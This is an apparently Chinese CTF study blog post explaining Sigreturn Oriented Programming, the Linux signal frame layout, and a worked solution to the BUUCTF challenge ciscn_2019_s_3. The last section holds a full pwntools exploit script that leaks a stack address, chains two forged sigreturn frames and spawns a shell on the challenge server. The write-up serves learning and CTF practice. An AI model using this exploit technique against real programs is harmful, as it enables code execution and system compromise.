文章目录
- 一、基本介绍
- 二、signal 机制
- 三、攻击原理
- 四、SROP chain的构造
- 五、关于使用
- 六、例题讲解
本文仅记录学习文章,主要是基于CTF wiki主要,然后加例题讲解。
一、基本介绍
SROP(Sigreturn Oriented Programming) 于 2014 年被 Vrije Universiteit Amsterdam 的 Erik Bosman 提出相关研究究Framing Signals — A Return to Portable Shellcode
在顶级安全会议上发表 Oakland 2014 上,被选为当年 Best Student Papers。其中相关的 paper 以及 slides 链接如下:
http://www.ieee-security.org/TC/SP2014/papers/FramingSignals-AReturntoPortableShellcode.pdf
https://tc.gtisc.gatech.edu/bss/2014/r/srop-slides.pdf
其中,sigreturn是系统调用,在类中 unix 系统发生 signal 会间接调用。
二、signal 机制
signal 机制是类 unix 一种在系统中相互传递信息的方法。一般来说,我们也称之为软中断信号或软中断。例如,系统可以调用过程 kill 发送软中断信号。信号机制的常见步骤如下图所示:
1.内核发送到一个过程 signal 该过程将暂时悬挂并进入内核状态。(①)
2.**内核将为此过程保存相应的上下文,主要是将所有寄存器压入堆栈和堆栈 signal 信息,方向 sigreturn 系统调用地址。**此时,栈的结构如下图所示,我们称之为 ucontext 以及 siginfo 这一段为 Signal Frame。**需要注意的是,这部分是在用户流程的地址空间。**之后会跳转到注册过的地方 signal handler 相应的中处理 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。(②③) 关于signal handler什么可以参考?https://www.jianshu.com/p/c5205495df2b
对于 signal Frame 由于架构的不同,会有所不同,这里分别给出 x86 以及 x64 的 sigcontext
- x86
struct sigcontext {
unsigned short gs, __gsh; unsigned short fs, __fsh; unsigned short es, __esh; unsigned short ds, __dsh; unsigned long edi; unsigned long esi; unsigned long ebp; unsigned long esp; unsigned long ebx; unsigned long edx; unsigned long ecx; unsigned long eax; unsigned long trapno; unsigned long err; unsigned long eip; unsigned short cs, __csh; unsigned long eflags; unsigned long esp_at_signal; unsigned short ss, __ssh; struct _fpstate * fpstate; unsigned long oldmask; unsigned long cr2; };
- x64
struct _fpstate {
/* FPU environment matching the 64-bit FXSAVE layout. */ __uint16_t cwd; __uint16_t swd; __uint16_t ftw; __uint16_t fop;
__uint64_t rip;
__uint64_t rdp;
__uint32_t mxcsr;
__uint32_t mxcr_mask;
struct _fpxreg _st[8];
struct _xmmreg _xmm[16];
__uint32_t padding[24];
};
struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};
3.signal handler 返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 77,64 位的系统调用号为 15。(④)
三、攻击原理
仔细回顾一下内核在 signal 信号处理的过程中的工作,我们可以发现,内核主要做的工作就是为进程保存上下文,并且恢复上下文。这个主要的变动都在 Signal Frame 中。
我们可以伪造Signal Frame,然后通过调用sigreturn信号,用来控制各种寄存器的值(这就是恢复函数调用前现场的解释),用网上的例子,我们伪造Signal Frame如下
四、SROP chain的构造
根据第三点,我们很容易发现,我们是有办法通过多次调用 sigreturn函数实现,要实现这一点我们必须满足下面条件
举个例子,就可以实现如下效果
- 第一,栈溢出可以实现较长字符的输入,因为一个Signal Frame就有0xf8长度
- 第二,需要得到栈地址,才能正确的pop出esp的位置,否则也不能实现SROP chain
- 第三,调用各种函数,需要自己准备必备的条件,比如调用execve,就需要准备
/bin/sh
字符串
五、关于利用
首先我们上面将的原理,基本上没有和实际操作系统,怎么找syscall gadget和syscall ret相结合,具体有兴趣的可以看一下论文。
这里还是讲讲CTF中的利用,
payload = "A"*0x10 + p64(mov_rax_0f) + p64(syscall_ret)
sigframe_1 = SigreturnFrame() #利用就是在这里开始的,和python的类操作一致
offset = stack_leak - 0x118 + len(payload) + len(sigframe_1)
sigframe_1.rax = constants.SYS_read
sigframe_1.rdi = 0
sigframe_1.rsi = bin_sh
sigframe_1.rdx = 0x300
sigframe_1.rsp = offset
sigframe_1.rip = syscall_ret
payload += str(sigframe_1)
payload += p64(mov_rax_0f) + p64(syscall_ret)
六、例题讲解
我们引用BUUCTF中的ciscn_2019_s_3
作为例子讲解一下
首先我们分析一下题目,代码非常简单,关注两个函数 ,我们可以看到就是一个read和write的调用,但是这里输入的位置在rsp-0x10位置,长度为0x400,明显有一个范围很大的栈溢出
然后我们注意一下,上图中就有了syscall_ret对吧,随后我们看一下gadget函数,我们可以控制rax变成0xf或者是0x3b,直接调用0x3b是不现实的,所以我们用SROP的方法
想要达成SROP,我们需要知道栈空间的地址结构,可以通过vuln函数中sys_write函数,泄露main函数存储的某个值,然后再vuln函数的返回地址再指向vlun函数
通过第一步,我们又第二次来到了vuln函数,通过栈溢出构造SROP链了,大致的思路是调用sys_read将/bin/sh\x00
写入到data段一个指定的位置,然后再调用sys_execve函数执行shell即可
最终就可以实现getshell了
# -*- coding: utf-8 -*-
from pwn import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
HOST = 'node4.buuoj.cn'
PORT = 26815
conn = remote(HOST ,PORT)
#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./babyheap_0ctf_2017'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
#conn = process("./ciscn_s_3")
#pwnlib.gdb.attach(conn,"b vuln\nb *0x400517\n")
pause()
mov_rax_3b = 0x4004e3
mov_rax_0f = 0x4004DA
bin_sh = 0x601000
vuln = 0x04004ED
syscall_ret = 0x400517
'''第一步:泄露栈地址'''
payload = "A"*0x10 + p64(vuln)
conn.send(payload)
conn.recvuntil("A"*0x10)
conn.recv(0x10)
stack_leak = u64(conn.recv(8))
print "The stack leak is",hex(stack_leak)
'''第二步:构造SROP链'''
payload = "A"*0x10 + p64(mov_rax_0f) + p64(syscall_ret)
sigframe_1 = SigreturnFrame()
offset = stack_leak - 0x118 + len(payload) + len(sigframe_1) #这一步需要注意,算准rsp返回的位置
#第一个sigframe,用于将/bin/sh写入data段
sigframe_1.rax = constants.SYS_read
sigframe_1.rdi = 0
sigframe_1.rsi = bin_sh
sigframe_1.rdx = 0x300
sigframe_1.rsp = offset
sigframe_1.rip = syscall_ret
payload += str(sigframe_1)
payload += p64(mov_rax_0f) + p64(syscall_ret)
#第二个sigframe,用于调用execve来getshell
sigframe_2 = SigreturnFrame()
sigframe_2.rax = constants.SYS_execve
sigframe_2.rdi = bin_sh
sigframe_2.rsi = 0
sigframe_2.rdx = 0
sigframe_2.rsp = offset + 0x10 + len(sigframe_2)
sigframe_2.rip = syscall_ret
payload += str(sigframe_2)
payload += p64(vuln)
conn.send(payload)
pause()
conn.send("/bin/sh\x00") #写入data段的输入
conn.interactive()